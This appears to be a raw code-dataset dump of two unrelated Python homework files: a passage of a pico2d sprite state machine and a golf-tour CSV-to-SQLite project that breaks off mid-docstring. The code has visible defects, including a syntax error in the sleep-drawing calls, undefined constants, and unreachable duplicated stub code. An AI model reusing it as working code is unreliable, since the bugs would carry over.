LEFT_DOWN, RIGHT_UP, LEFT_UP, TIME_OUT = range(5)\n\nkey_event_table = {\n (SDL_KEYDOWN, SDLK_RIGHT) : RIGHT_DOWN,\n (SDL_KEYDOWN, SDLK_LEFT) : LEFT_DOWN,\n (SDL_KEYUP, SDLK_RIGHT) : RIGHT_UP,\n (SDL_KEYUP, SDLK_LEFT) : LEFT_UP\n}\n \nnext_state_table = {\n IDLE : {RIGHT_UP: RUN, LEFT_UP: RUN, RIGHT_DOWN: RUN, LEFT_DOWN: RUN, TIME_OUT: SLEEP},\n RUN : {RIGHT_UP: IDLE, LEFT_UP: IDLE, RIGHT_DOWN: IDLE, LEFT_DOWN: IDLE},\n SLEEP : {LEFT_DOWN: RUN, RIGHT_DOWN: RUN}\n}\n \nclass Boy:\n def __init__(self):\n self.image = load_image('../image/animation_sheet.png')\n self.x, self.y = 800 // 2, 90\n self.velocity = 0\n self.dir = 1\n self.cur_state = IDLE\n self.frame = 0\n self.timer = 0\n self.event_que = []\n self.enter_state[IDLE](self)\n\n def exit_IDLE(self):\n pass\n\n def enter_IDLE(self):\n self.timer = 1000\n self.frame = 0\n\n def do_IDLE(self):\n self.frame = (self.frame + 1) % 8\n self.timer -= 1\n if self.timer == 0:\n self.add_event(SLEEP_TIMER)\n\n def draw_IDLE(self):\n if self.dir == 1:\n self.image.clip_draw(self.frame * 100, 300, 100, 100, self.x, self.y)\n else:\n self.image.clip_draw(self.frame * 100, 200, 100, 100, self.x, self.y)\n\n def enter_RUN(self):\n self.frame = 0\n self.dir = self.velocity\n\n def exit_RUN(self):\n pass\n\n def do_RUN(self):\n self.frame = (self.frame + 1) % 8\n self.x += self.velocity\n self.x = clamp(25, self.x, 800 - 25)\n\n def draw_RUN(self):\n if self.velocity == 1:\n self.image.clip_draw(self.frame * 100, 100, 100, 100, self.x, self.y)\n else:\n self.image.clip_draw(self.frame * 100, 0, 100, 100, self.x, self.y)\n\n def enter_SLEEP(self):\n self.frame = 0\n\n def exit_SLEEP(self):\n pass\n\n def do_SLEEP(self):\n self.frame = (self.frame + 1) % 8\n\n def draw_SLEEP(self):\n if self.dir == 1:\n self.image.clip_composite_draw(self.frame * 100, 300, 100, 100, 3.141592 / 2, ''. self.x - 25, self.y - 25, 100, 100)\n else:\n self.image.clip_composite_draw(self.frame * 100, 200, 100, 100, -3.141592 / 2, ''. self.x + 25, self.y - 25, 100, 100)\n\n def change_state(self, state):\n self.exit_state[self.cur_state](self)\n self.enter_state[state](self)\n self.cur_state = state\n \n def update(self):\n self.do_state[self.cur_state](self)\n if len(self.event_que) > 0:\n event = self.event_que.pop()\n self.change_state(next_state_table[self.cur_state][event])\n\n def draw(self):\n self.draw_state[self.cur_state](self)\n \n def handle_event(self, event):\n if (event.type, event.key) in key_event_table:\n key_event = key_event_table[(event.type, event.key)]\n print(event.type)\n if key_event == RIGHT_DOWN:\n self.velocity += 1\n elif key_event == LEFT_DOWN:\n self.velocity -= 1\n elif key_event == RIGHT_UP:\n self.velocity -= 1\n elif key_event == LEFT_UP:\n self.velocity += 1\n self.add_event(key_event)\n\n def add_event(self, event):\n self.event_que.insert(0, event)\n \n \n enter_state = {IDLE : enter_IDLE, RUN: enter_RUN, SLEEP: enter_SLEEP}\n exit_state = {IDLE : exit_IDLE, RUN: exit_RUN, SLEEP: exit_SLEEP}\n do_state = {IDLE : do_IDLE, RUN: do_RUN, SLEEP: do_SLEEP}\n draw_state = {IDLE : draw_IDLE, RUN: draw_RUN, SLEEP: draw_SLEEP}\n\ndef enter():\n global grass, boy\n open_canvas()\n grass = Grass()\n boy = Boy()\n\ndef draw():\n global grass, boy\n clear_canvas()\n grass.draw()\n boy.draw()\n update_canvas()\n\ndef update():\n global boy\n boy.update()\n delay(0.025)\n\ndef exit():\n global boy, grass\n del grass\n del boy\n\ndef handle_events():\n global boy\n\n events = get_events()\n for e in events:\n if e.type == SDL_QUIT:\n game_framework.quit()\n elif e.type == SDL_KEYDOWN:\n if e.key == SDLK_ESCAPE:\n game_framework.pop_state()\n else:\n boy.handle_event(e)\n else:\n boy.handle_event(e)\n \nif __name__ == '__main__':\n main()\n","sub_path":"hw_1019/boys_state.py","file_name":"boys_state.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"233590689","text":"\nimport csv\nimport os\n\nfrom golfCourse import GolfCourse\nfrom hole import Hole\nfrom golfer import Golfer\nfrom tournGolfer import TournGolfer\nfrom tournament import Tournament\nfrom round import Round\nfrom golferRoundScores import GolferRoundScores\n\nfrom golfTourDatabaseHelper import GolfTourDatabaseHelper\n\n\ndef main():\n \"\"\"\n Algorithm:\n 1. Initialize the input and output file names\n 2. Initialize the database and table names for output\n 3. Call create_golf_courses function, passing in the the input\n file name, and retrieving the returned golf_course_list,\n a list of GolfCourse objects containing information for 5 golf courses\n 4. Call create_holes function, passing in the golf_course_holes_dict\n and retrieving the returned holes_list,\n a list of Hole objects containing information for 90 golf course holes\n 5. Call create_golfers function, passing in the input\n file name, and retrieving the returned golfer_list,\n a list of Golfer objects containing information for 30 golfers\n 6. Write out the class objects to files from:\n crate_golf_courses, create_holes, create_golfers\n ---------------------------------------------------------\n 7. Call create_tournaments function, passing in the input\n file name, and retrieving the returned tournament_list,\n a list of Tournament objects containing information for 15 tournaments\n and a tournament golfers dictionary, tournament_golfers_dict,\n whose key is the tourn_id and the value is the list of golfers\n playing in that tournament\n 8. Call create_rounds function, passing in the tournament_list from above,\n and retrieving the returned rounds_list,\n a list of Round objects containing information for 45 tournament rounds\n 9. Call create_tourn_golfers function, using the tournament_golfers_dict\n and the golfer_list from above, retrieving the returned tourn_golfers_list\n a list of TournGolfer objects containing information for 225 tournament golfers\n 10. Write out the class objects to files from:\n create_tournaments, create_rounds, create_tourn_golfers\n --------------------------------------------------------- \n 11. Call create_golfer_scores function, passing in the round scores input\n file name, golfer_list returned from the create_golfers\n function, tournament_list returned from the create_tournaments\n function, and tourn_golfers_list returned from the\n create_tourn_golfers function, and retrieving the\n returned golfer_scores_list\n 12. Write out the class objects to files from:\n create_golfer_scores\n ---------------------------------------------------------\n 13. Remove the database, if it already exists\n 14. Create a GolfTourDatabaseHelper object\n 15. Use the GolfTourDatabaseHelper object to create\n the database and to create the tables.\n 16. Use the GolfTourDatabaseHelper object to populate database tables\n 17. Close the database connection\n ---------------------------------------------------------\n 18. Write the following functions to query the database\n show_golf_course_last3_holes (database_name)\n show_tourn_scores_top5_Apex3 (database_name)\n show_golf_course_par5_holes (database_name)\n show_tournaments_for_golfer_Jo (database_name)\n \"\"\"\n\n print(\"Wake Golf Tour Project 1\")\n\n # 1. Initialize the input and output file names\n\n golf_courses_infile = \"golfCoursesInput.csv\"\n golfers_infile = \"golfersInput.csv\"\n tournaments_infile = \"tournamentsInput.csv\"\n golfer_scores_infile = \"roundScoresInput.csv\"\n\n golf_courses_file = \"golfCourses.csv\"\n holes_file = \"holes.csv\"\n golfers_file = \"golfers.csv\"\n tournaments_file = \"tournaments.csv\"\n tourn_golfers_file = \"tournGolfers.csv\"\n rounds_file = \"rounds.csv\"\n golfer_scores_file = \"golferRoundScores.csv\"\n\n # 2. Initialize the database and table names for output\n\n database_name = \"WakeGolfTour.db\"\n golf_courses_table = \"GolfCourse\"\n holes_table = \"Hole\"\n golfers_table = \"Golfer\"\n tournaments_table = \"Tournament\"\n tourn_golfers_table = \"TournGolfer\"\n rounds_table = \"Round\"\n golfer_scores_table = \"GolferRoundScores\"\n\n # 3. Call create_golf_courses function, passing in the input\n # file name, and retrieving the returned golf_courses_list,\n # a list of 5 golf course objects and the golf_course_holes_dict,\n # containing information about the holes for each of the golf courses\n\n golf_course_list, golf_course_holes_dict = create_golf_courses(golf_courses_infile)\n\n # 4. Call create_holes function, passing in the golf_course_holes_dict\n # and retrieving the returned holes_list,\n # a list of Hole objects containing information for 90 golf course holes\n\n holes_list = create_holes(golf_course_holes_dict)\n\n # 5. Call create_golfers function, passing in the input\n # file name, and retrieving the returned golfer_list,\n # a list of 30 golfer objects\n\n golfer_list = create_golfers(golfers_infile)\n\n # 6. Write out the lists returned from the create functions:\n # create_golf_courses, create_golfers, create_tournaments\n\n write_objs_to_file(golf_courses_file, golf_course_list)\n write_objs_to_file(holes_file, holes_list)\n write_objs_to_file(golfers_file, golfer_list)\n\n # 7. Call create_tournaments function, passing in the input\n # file name and golf_course_list, retrieving the returned tournament_list,\n # a list of 15 tournament objects, and a dictionary with the tourn_id as the key\n # and a list of golfers for that tournament as the value\n\n tournament_list, tourn_golfers_dict = create_tournaments(tournaments_infile, golf_course_list)\n\n # 8. Call create_rounds function, passing in the input\n # file name and the tournament_list, retrieving the returned rounds_list,\n # a list of Round objects\n\n rounds_list = create_rounds(tournament_list)\n\n # 9. Call create_tourn_golfers function, using tourn_golfers_dict\n # and the golfers_list, retrieving the returned tourn_golfers_list,\n # a list of TournGolfer objects\n\n tourn_golfers_list = create_tourn_golfers(tourn_golfers_dict, golfer_list)\n\n # 10. Write out the lists returned from the create functions:\n # create_holes, create_rounds, create_tourn_golfers\n\n write_objs_to_file(tournaments_file, tournament_list)\n write_objs_to_file(rounds_file, rounds_list)\n write_objs_to_file(tourn_golfers_file, tourn_golfers_list)\n \n # 11. Call create_golfer_scores function, passing in the\n # golfer_scores_list returned from the read_golfer_scores\n # function, golfers_list returned from the read_golfers\n # function, tourns_list returned from the create_tournaments\n # function, rounds_list returned from the create_rounds\n # function, and the tourn_golfers_list returned from the\n # create_tourn_golfers function, and retrieving the\n # returned golfer_scores_list\n\n golfer_scores_list = create_golfer_scores(golfer_scores_infile,\n golfer_list,\n tournament_list,\n rounds_list,\n tourn_golfers_list)\n\n # 12. Write out the class objects to a file from:\n # create_golfer_scores\n\n write_objs_to_file(golfer_scores_file, golfer_scores_list)\n print()\n \n # 13. Remove the database, if it already exists\n\n if os.path.exists(database_name):\n os.remove(database_name)\n\n # 14. Create a GolfTourDatabaseHelper object\n\n db_helper = GolfTourDatabaseHelper(database_name)\n\n # 15. Use the GolfTourDatabaseHelper object to create\n # the database and to create the tables.\n\n db_helper.create_database()\n\n # 16. Use the GolfTourDatabaseHelper object to populate database tables\n\n db_helper.save_to_database(golf_courses_table, golf_courses_file)\n db_helper.save_to_database(holes_table, holes_file)\n db_helper.save_to_database(golfers_table, golfers_file)\n db_helper.save_to_database(tournaments_table, tournaments_file)\n db_helper.save_to_database(tourn_golfers_table, tourn_golfers_file)\n db_helper.save_to_database(rounds_table, rounds_file)\n db_helper.save_to_database(golfer_scores_table, golfer_scores_file)\n\n # 17. Close the database connection\n\n db_helper.close_connection()\n\n # 18. Write the following functions to query the database\n\n show_golf_course_last3_holes(database_name)\n show_tourn_scores_top5_Apex3(database_name)\n show_golf_course_par5_holes(database_name)\n show_tournaments_for_golfer_Jo(database_name)\n\n \ndef create_golf_courses(filename):\n \"\"\"\n Each line of input contains:\n golf_course_name, par_h1, par_h2, ..., par_h18\n\n where golf_course_name is the name of the golf course and each\n par_h# is a par value for the hole #.\n\n Note: string input needs to be stripped of any whitespace\n int strings need to be changed to ints\n\n Algorithm:\n 1. Create an empty list called golf_course_list that will contain\n GolfCourse objects whose data comes from the input file\n 2. Create a dictionary, golf_course_holes_dict, it will have the golf_course_id as the key,\n and the value will be a list of 18 tuples containing (hole_num, par_value)\n golf_course_id: [(hole_num, par_value), (hole_num, par_value), ..., (hole_num, par_value)]\n 3. Initialize the golf_course_id to 1\n 4. Use a try/except block to capture a File Not Found Error\n a. Open the input file object for reading the input file\n b. Call the csv.reader function, passing in the input file\n and capturing the CSV file contents.\n c. Create a list from the file contents: courses_list\n d. Create an outer loop to read each golf course in courses_list\n Outer Loop\n 1. Get the golf course name from the first element stripped of whitespace.\n 2. Create an empty list, hole_info, to hold the hole information\n 3. Create an inner loop to traverse the 18 hole\n par values using the range function\n Inner Loop\n a. Convert the string hole par values to ints\n b. add par value to total par\n c. append hole_num and par value to the hole_info list\n\n 3. Add entry for this golf course's hole_info to the golf_course_holes_dict\n 4. Create a new GolfCourse object, call it golf_course,\n passing in golf_course_id, golf_course_name, and total_par\n 5. Append the golf_course object to the golf_course_list\n 6. Increment the golf_course_id\n\n e. Close input_file object\n 5. Print each golf_course object in the golf_course_list to the console\n 6. Return the golf_course_list and golf_course_holes_dict\n \"\"\"\n\n print(\"\\nGolf Course List: golf_course_list\\n\")\n\n # Algorithm:\n # 1. Create an empty list called golf_course_list that will contain\n # GolfCourse objects whose data comes from the input file\n\n golf_course_list = []\n\n # 2. Create an empty dictionary called golf_course_holes_dict\n # whose key is the golf_course_id and the value is a tuple\n # containing hole_number and par_value\n golf_course_holes_dict = dict()\n\n # 3. Initialize the golf_course_id to 1\n\n golf_course_id = 1\n\n # 4. Use a try/except block to capture a File Not Found Error\n\n try:\n # a. Open the input_file object for reading the input file\n\n input_file = open(filename, 'r')\n\n # b. Call the csv.reader function, passing in the input file\n # and capturing the CSV file contents.\n\n file_lines = csv.reader(input_file)\n\n # c. Create a list from the file contents: courses_list\n\n courses_list = list(file_lines)\n\n # d. Create an outer loop to read each golf course in\n # courses_list\n\n for golf_course in courses_list:\n\n # Outer Loop\n # 1. The first element (golf course name) is stripped\n # of whitespace.\n\n golf_course_name = golf_course[0].strip()\n\n # 2. Create an inner loop to traverse the 18 hole\n # par values using the range function\n\n total_par = 0\n holes = []\n for i in range(1, 19):\n # Inner Loop\n # a. Convert the string hole par values to ints\n par = int(golf_course[i])\n\n # b. add value to total par\n total_par = total_par + par\n\n # c. append hole_num and par to list for dictionary\n holes.append((i, par))\n\n # 2. Add entry for this golf course's holes to the golf_course_holes_dict\n golf_course_holes_dict[golf_course_id] = holes\n\n # 4. Create a new GolfCourse object, call it golf_course,\n # passing in golf_course_id, golf_course_name, and total_par\n\n golf_course = GolfCourse(golf_course_id, golf_course_name, total_par)\n\n # 5. Append the golf_course object to the golf_course_list\n\n golf_course_list.append(golf_course)\n\n # 6. Increment the golf_course_id\n\n golf_course_id = golf_course_id + 1\n\n # e. Close input_file object\n\n input_file.close()\n\n except IOError:\n print(\"File Not Found Error.\")\n\n # 5. Print the golf_course_list objects to the console\n\n for gc in golf_course_list:\n print(gc)\n\n # 6. Return the golf_course_list and golf_course_holes_dict\n\n return golf_course_list, golf_course_holes_dict\n\n\ndef create_holes(golf_course_holes_dict):\n \"\"\"\n Use the dictionary built in the create_golf_courses function\n to create a list of Hole objects.\n The golf_course_holes_dict, has the golf_course_id as the key,\n and the value is a list of 18 tuples containing hole_num, par_value\n golf_course_id: [(hole_num, par_value), (hole_num, par_value), ..., (hole_num, par_value)]\n\n Algorithm:\n 1. Create an empty list called holes_list that will contain\n Hole objects whose data comes from the input file\n 2. Initialize the hole_id to 1\n 3. Create an outer loop to read the golf course dictionary\n retrieving the key (golf_course_info), and hole information (hole_info)\n Loop\n a. Create an inner loop to read each golf course's hole information (hole_info)\n Loop\n 1. Create a new Hole object, call it hole_obj, passing in\n hole_id, golf_course_id, hole_num, and par_value\n 2. Append the hole object to the holes_list\n 3. Increment hole_id\n b. Close input_file object\n 4. Print the holes_list objects to the console\n 5. Return the holes_list\n \"\"\"\n\n print(\"\\nThe Hole Object List: holes_list\")\n\n ### create_holes function; author: Michele Johnson ###\n\n # empty list object; will hold hole ID, course ID, hole number, par value\n holes_list = []\n # initialize hole ID as integer and 0\n hole_id = 0\n # loop through course ID in golf_course_holes_dict; course_ID = dictionary key\n for key_course_id, hole_data in golf_course_holes_dict.items():\n # determine the number of value data sets per key\n hole_data_count = len(hole_data)\n # loop through each value data sets to capture elements separately\n for i in range(hole_data_count):\n hole_data_item = hole_data[i]\n # for current data set, capture hole number\n hole_number = hole_data_item[0]\n # for current data set, capture par value\n par_value = hole_data_item[1]\n # for current data set, increment hole ID\n hole_id += 1\n # initiate class: Hole\n a_hole = Hole(hole_id, key_course_id, hole_number, par_value)\n # append elements into holes_list\n holes_list.append(a_hole)\n # loop through holes_list and print\n for g in holes_list:\n print(g)\n\n return holes_list\n\n\ndef create_golfers(filename):\n \"\"\"\n Each line of input contains:\n golfer_name, golfer_birthdate\n\n where golfer_name is the name of the golfer and\n golfer_birthdate is the day the golfer was born.\n\n Note: string input needs to be stripped of any whitespace\n\n Create a Golfer object from each line in the input file:\n containing -\n golfer_id, golfer_name, golfer_birthdate\n\n A list is returned, where each element is a Golfer object\n\n Algorithm:\n 1. Create an empty list called golfer_list that will be\n filled in with Golfer objects whose data comes from\n the input file\n 2. Initialize the golfer_id to 1\n 3. Use a try/except block to capture a File Not Found Error\n a. Open the input file object for reading the input file\n b. Call the csv.reader function, passing in the input file\n and capturing the CSV file contents.\n c. Create a list from the file contents: golfer_input_list\n\n d. Create a loop to traverse the golfer_input_list,\n where the loop variable 'golfer_info' will contain one of\n the inner lists in golfer_list at each loop iteration\n Loop:\n 1. Get the golfer_name and golfer_birthdate\n 2. Create a new Golfer object, call it player, passing\n in golfer_id, golfer_name, and golfer_birthdate\n 3. Append the player object to the golfer_list\n 4. Increment the golfer_id\n e. close the input file\n 4. Print the golfer_list objects to the console\n 5. Return the golfer_list\n\n \"\"\"\n print(\"\\nThe Golfer Object List: golfer_list\")\n\n ### create_golfer function; author: Michele Johnson \"\"\"\n\n # empty list object; will hold golfer ID, golfer_name, golfer_birthdate\n golfer_list = []\n # initialize golfer ID as integer and 0\n golfer_id = 0\n\n try:\n # import input file\n import csv\n with open(filename, newline='') as csvfile:\n a_file = csv.reader(csvfile, delimiter=',', quotechar='|')\n # loop through each row of input\n for row in a_file:\n # for current row, increment golfer ID\n golfer_id += 1\n # for current row, capture and strip golfer name\n golfer_name = row[0].strip()\n # for current row, capture and strip golfer birthdate\n golfer_birthdate = row[1].strip()\n # for current row, capture and strip golfer address\n golfer_address = row[2].strip()\n # initialize class: Golfer\n a_golfer = Golfer(golfer_id, golfer_name, golfer_birthdate, golfer_address)\n # append elements into golfer_list\n golfer_list.append(a_golfer)\n\n except IOError:\n print(\"File Not Found Error.\")\n\n # loop through golfer_list and print\n for g in golfer_list:\n print(g)\n\n return golfer_list\n\n\ndef create_tournaments(filename, golf_course_list):\n \"\"\"\n The tournamentsInput.csv has two different record types in the file.\n Hint: Open the file and see how it is organized.\n The first record type has\n\n golf_course_name, tournament_name, start_date, num_rounds, num_golfers\n\n where golf_course_name is the name of the golf course,\n tournament_name is the name of the tournament,\n start_date is the first day of the tournament,\n num_rounds is the number of rounds played in this tournament, and\n num_golfers is the number of golfers playing in this tournament\n\n The second record type is just a single golfer name.\n The number of these records is specified by the num_golfers field from the first record type\n golfer1_name\n golfer2_name\n ...\n golfer15_name\n\n Note: string input needs to be stripped of any whitespace\n int strings need to be changed to ints\n\n Algorithm:\n 1. Create a lookup dictionary that contains the golf_course_name\n as the key and the golf_course_id as the value using the\n GolfCourse objects passed in the golf_course_list:\n Code is provided in the Project1B doc.\n 2. a. Create an empty list called tournament_list\n that will be filled in with tournament objects\n created in this function from the input file data.\n b. Create an empty tourn_golfer_dict dictionary that\n will contain the tournament id as the key and the\n list of golfers as the value. The loop below\n will fill in this dictionary value list, when\n each golfer name is read in.\n 3. Initialize the tourn_id to 1 and the tourn_id_key to 0\n 4. Use a try/except block to capture a File Not Found Error\n a. Open the input file object for reading the input file.\n b. Call the csv.reader function, passing in the input file\n and capturing the CSV file contents.\n c. Create a list from the file contents: tournament_input_list\n d. Create a loop to traverse the tournament_input_list,\n where the loop variable 'tourn_info' will contain either the\n tournament information, or a golfer name.\n Loop:\n 1. Check the length of tourn_info, if it is one, then it is a\n golfer name, so add it to the tourn_golfers_dict value list.\n It will be used later in the create_tourn_golfers method.\n a. Get the golfer name from tourn_info stripping whitespace\n b. Add the golfer name to the tourn_golfers_dict value\n 2. If the length is greater than one, then process the tournament\n information\n a. Get each of the first five elements of the tourn inner list:\n Strip - course_name, tourn_name, start_date,\n Convert num_rounds and num_golfers to ints.\n b. Get golf_course id from lookup dictionary created above\n c. Create a new Tournament object, call it tournament,\n passing in tourn_id, tournament_name, golf_course_id,\n start_date, num_rounds, and num_golfers\n d. Append the tournament object to the tourns_list\n e. Set the tourn_id_key to tourn_id\n f. Create dictionary entry value for this tourn_id_key,\n the value is an empty list to be filled in later with\n the golfer names as they are read from the input file.\n g. Increment the tourn_id\n\n e. Close the input file\n 5. Print the tournament_list objects to the console\n 6. Return the tournament_list and tourn_golfers_dict\n \"\"\"\n print(\"\\nThe Tournament Objects: tournament_list, tourn_golfers_dict\")\n\n ### create_tournaments function; author: Michele Johnson\n\n # Declare variables\n golf_course_name_to_id = dict() # dictionary; key: course name, value: course ID\n golf_course_id = 0 # golf course ID from golf course name to ID lookup map\n\n csv_delimiter = ',' # delimiter character in input data lines\n tournament_input_list = [] # list to hold all raw data from input file\n tournament_info = [] # list to hold only tournament info rows from input file\n tournament_rows = [] # list of tournament rows\n tournament_list = []\n\n tourn_id = 1\n tourn_id_key = 0\n\n golfer_names = []\n value_golfer_name = \"\"\n\n tourn_golfers_dict = dict() # dictionary; key: tournament ID, value: list of golfers\n\n # Lookup map: course name to course ID\n for golf_course in golf_course_list:\n golf_course_name_to_id[golf_course.get_course_name()] = golf_course.get_course_id()\n\n # Get data from input file and store in list; tourn_input_list\n try:\n\n a_file = open(filename, 'r')\n row = csv.reader(a_file)\n\n # loop through each row of data\n for row in a_file:\n row = row.strip()\n tournament_input_list.append(row)\n\n a_file.close()\n except IOError:\n print(\"File Not Found Error.\")\n\n count_rows = 0\n # Find all the tournament info rows\n for tournament_row, row_data in enumerate(tournament_input_list, 1):\n\n tourn_info_data = row_data.split(\",\")\n if len(tourn_info_data) > 1:\n # Add the row number to the tournament_rows list\n tournament_rows.append(tournament_row)\n # # Add row number to the first position of info data\n # # count_rows += 1\n # tourn_info_data.insert(0, count_rows)\n\n # Split and assign into variables for tournament info lines\n # tourn_id = tourn_info_data[0]\n tournament_course_name = tourn_info_data[0].strip()\n tournament_name = tourn_info_data[1].strip()\n start_date = tourn_info_data[2].strip()\n round_number = int(tourn_info_data[3])\n golfer_amount = int(tourn_info_data[4])\n\n # Add the row data to the tournament_info list\n count_rows += 1\n tourn_info_data = count_rows, tourn_id, tournament_course_name, tournament_name, start_date, round_number, golfer_amount\n tournament_info.append(tourn_info_data)\n\n # Lookup tournament course name and return golfer course ID\n for course_name in golf_course_name_to_id:\n if course_name == tournament_course_name:\n golf_course_id = golf_course_name_to_id[course_name]\n\n # Initiate Tournament Class\n a_tournament = Tournament(count_rows, tournament_name, golf_course_id, start_date,\n round_number, golfer_amount)\n tournament_list.append(a_tournament)\n\n # Add last row number of input file to the last position of info data\n tournament_rows.append(len(tournament_input_list))\n\n # Loop through tournament row numbers\n # For current line of tournament info; look up corresponding tournament row number\n last_row = len(tournament_input_list)\n last_index = len(tournament_rows) - 1\n row_between_counter = 0\n next_index = 0\n difference = 0\n\n try:\n while row_between_counter < last_index:\n tr = 0\n for tr in tournament_rows:\n # Second index; tournament row\n next_index = tournament_rows[row_between_counter + 1]\n # First index; tournament row\n current_index = tournament_rows[row_between_counter]\n # Assign first index to current row number; used to index tournament input rows\n current_row_number = current_index\n # Find the number of rows between the second index and first row of batch\n difference = next_index - current_row_number - 1\n # If second element of tournament info matches current_index\n row_between_counter += 1\n\n # If second element of tournament info does not match current_index\n if row_between_counter == last_index:\n break\n\n tourn_golfers_dict[tr] = []\n for d in range(difference):\n tourn_golfers_dict[tr].append(tournament_input_list[current_row_number])\n current_row_number += 1\n golfer_names.clear()\n\n tr = tournament_rows[last_index - 1]\n\n if row_between_counter >= last_index:\n\n # First index; tournament row\n current_index = tournament_rows[last_index - 1]\n\n # Assign first index to current row number; used to index tournament input rows\n current_row_number = current_index\n\n # Find the number of rows between the second index and first row of batch\n difference = next_index - current_row_number\n # If second element of tournament info matches current_index\n row_between_counter += 1\n\n for d in range(difference):\n golfer_names.append(tournament_input_list[current_row_number])\n tourn_golfers_dict[tr] = golfer_names\n current_row_number += 1\n\n except IndexError:\n pass\n\n row_between_counter += 1\n\n new_dict = {}\n new_key = 1\n for k, nd in tourn_golfers_dict.items():\n new_dict[new_key] = nd\n new_key += 1\n\n tourn_golfers_dict = {}\n tourn_golfers_dict = new_dict\n\n print(\"\\nTournament List: tournament_list\")\n for tl in tournament_list:\n print(tl)\n\n print(\"\\nTournament Golfers Dictionary: tourn_golfers_dict\")\n for tgd, tgd_value in tourn_golfers_dict.items():\n print(tgd, tgd_value)\n\n return tournament_list, tourn_golfers_dict\n \"\"\"\n The tournamentsInput.csv has two different record types in the file.\n Hint: Open the file and see how it is organized.\n The first record type has\n\n golf_course_name, tournament_name, start_date, num_rounds, num_golfers\n\n where golf_course_name is the name of the golf course,\n tournament_name is the name of the tournament,\n start_date is the first day of the tournament,\n num_rounds is the number of rounds played in this tournament, and\n num_golfers is the number of golfers playing in this tournament\n\n The second record type is just a single golfer name.\n The number of these records is specified by the num_golfers field from the first record type\n golfer1_name\n golfer2_name\n ...\n golfer15_name\n\n Note: string input needs to be stripped of any whitespace\n int strings need to be changed to ints\n\n Algorithm:\n 1. Create a lookup map for golf_course_name to golf_course_id\n using the passed in golf_course_list\n 2. Create an empty nested lists called tournament_list\n that will be filled in with data from the input file\n 3. Initialize the tourn_id to 1 and the tourn_id_key to 0\n 4. Use a try/except block to capture a File Not Found Error\n a. Open the input file object for reading the input file\n b. Call the csv.reader function, passing in the input file\n and capturing the CSV file contents.\n c. Create a list from the file contents: tournament_input_list\n d. Create a loop to traverse the tournament_input_list,\n where the loop variable 'tourn_info' will contain either the\n tournament information, or a golfer name\n Loop:\n 1. Check the length of tourn_info, if it is one\n then this is golfer name, so add it to the tourn_golfers_dict.\n It will be used later in the create_tourn_golfers method.\n a. get the golfer name from tourn_info stripping whitespace\n b. add the golfer name to the tourn_golfers_dict\n 2. If the length is greater than one, then process the tournament information\n a. Get each of the first five elements of the tourn inner list,\n strip - course_name, tourn_name, start_date,\n convert num_rounds and num_golfers to ints\n b. get golf_course id from lookup map\n c. Create a new Tournament object, call it tournament,\n passing in tourn_id, tournament_name, golf_course_id,\n start_date, num_rounds, and num_golfers\n d. Append the tournament object to the tourns_list\n e. Set the tourn_id_key = tourn_id\n f. Create dictionary entry for this key, the value is an empty list\n to be filled in later\n g. Increment the tourn_id\n\n e. close the input file\n 5. Print the tournament_list objects to the console\n 6. Return the tournament_list and tourn_golfers_dict\n \"\"\"\n print(\"\\nThe Tournament object list:\\n\")\n \n ### Please provide your code here from Project 1-B \n \n return tournament_list, tourn_golfers_dict\n\n\ndef create_rounds(tournament_list):\n \"\"\"\n Use the tournament_list object list, that was\n returned from the create_tournaments function, which\n contains 15 Tournament objects with the following\n instance variables:\n\n tourn_id, tourn_name, golf_course_id, start_date,\n num_rounds, num_golfers, golfers...\n\n Create num_rounds Round objects from every\n Tournament object element in tourns_list:\n Add in the following as instance variables values\n\n round_id, tourn_id, day\n\n A list is returned, where each element is a Round object\n\n Algorithm:\n 1. Create an empty list called rounds_list\n that will be filled in with Round objects\n whose data comes from the object list parameter\n - tournament_list\n 2. Initialize the round_id\n 3. Create an outer loop to to traverse the input\n tournament_list, where the loop variable 'tourn'\n will contain one of the Tournament objects in\n tournament_list at each loop iteration\n Outer Loop\n a. Get the number_rounds and tourn_id from the\n Tournament object, tourn, and initialize\n num_rounds to number_rounds - this will be\n decremented below to find the correct day\n for the Round object being built\n b. Create an inner loop to run number_round times\n using the range function, where the loop\n variable 'r' keeps the count for the\n number of Rounds being created\n Outer Loop\n 1. Check the value of num_rounds to determne\n the day value of this Round object.\n Tournament oject, tourn\n Use a if/elif/else structure to set the\n day instance variable\n if num_rounds == 4: day = \"Thu\"\n num_rounds == 3: day = \"Fri\"\n num_rounds == 2: day = \"Sat\"\n num_rounds == 1: day = \"Sun\"\n 2. Decrement the num_rounds counter\n 3. Create a Round object call it round passing\n in round_id, tourn_id, and day\n 4. Append the Round object to the rounds_list\n 5. Increment the round_id\n 4. Print the round objects to the console\n 5. Return the rounds_list\n\n \"\"\"\n print(\"\\nThe Round Object List: rounds_list\")\n\n ### create_rounds function; author: Michele Johnson\n\n rounds_list = []\n round_id = 0\n num_rounds = 0\n day = \"\"\n\n # outer loop of tournament list\n for row_tourn in tournament_list:\n\n round_number = row_tourn.get_num_rounds()\n tourn_id = row_tourn.get_tourn_id()\n\n num_rounds = round_number\n\n # inner loop\n for i in range(round_number):\n if num_rounds == 4:\n day = \"Thu\"\n elif num_rounds == 3:\n day = \"Fri\"\n elif num_rounds == 2:\n day = \"Sat\"\n elif num_rounds == 1:\n day = \"Sun\"\n num_rounds -= 1\n round_id += 1\n\n a_round = Round(round_id, tourn_id, day)\n rounds_list.append(a_round)\n\n # loop through tournament_list and print\n for g in rounds_list:\n print(g)\n\n return rounds_list\n\n\ndef create_tourn_golfers(tourn_golfers_dict, golfer_list):\n \"\"\"\n Use the tourn_golfers_dict, that was\n returned from the create_tournaments function, which contains\n entries with the key being the tourn_id, and the value is a list following format:\n of golfer_names\n\n Use the golfers_list object list parameter, that was\n returned from the create_golfers function, which\n contains 30 Golfer objects with the following instance\n variables:\n\n golfer_id, golfer_name, golfer_birthdate\n\n Create a TournGolfer object from every golfer_name listed\n in the tourn_golfers_dict.\n Add in the following as instance variables values -\n\n tourn_golfer_id, tourn_id, golfer_id\n\n A list is returned, where each element is a TournGolfer object\n\n Algorithm:\n 1. Create a lookup map (golfer_name_to_id) for golfer_name to golfer_id\n 2. Create an empty list called tourn_golfers_list\n that will be filled in with TournGolfer objects\n whose data comes from the nested list parameter,\n tournaments_list and object list parameter,\n golfers_list\n 3. Initialize the tourn_golfer_id\n 4. Create an outer loop to to traverse the input\n tourn_golfers_dict, where the key will contain the tournament id,\n and the value, 'golfer_name_list', will be the list of 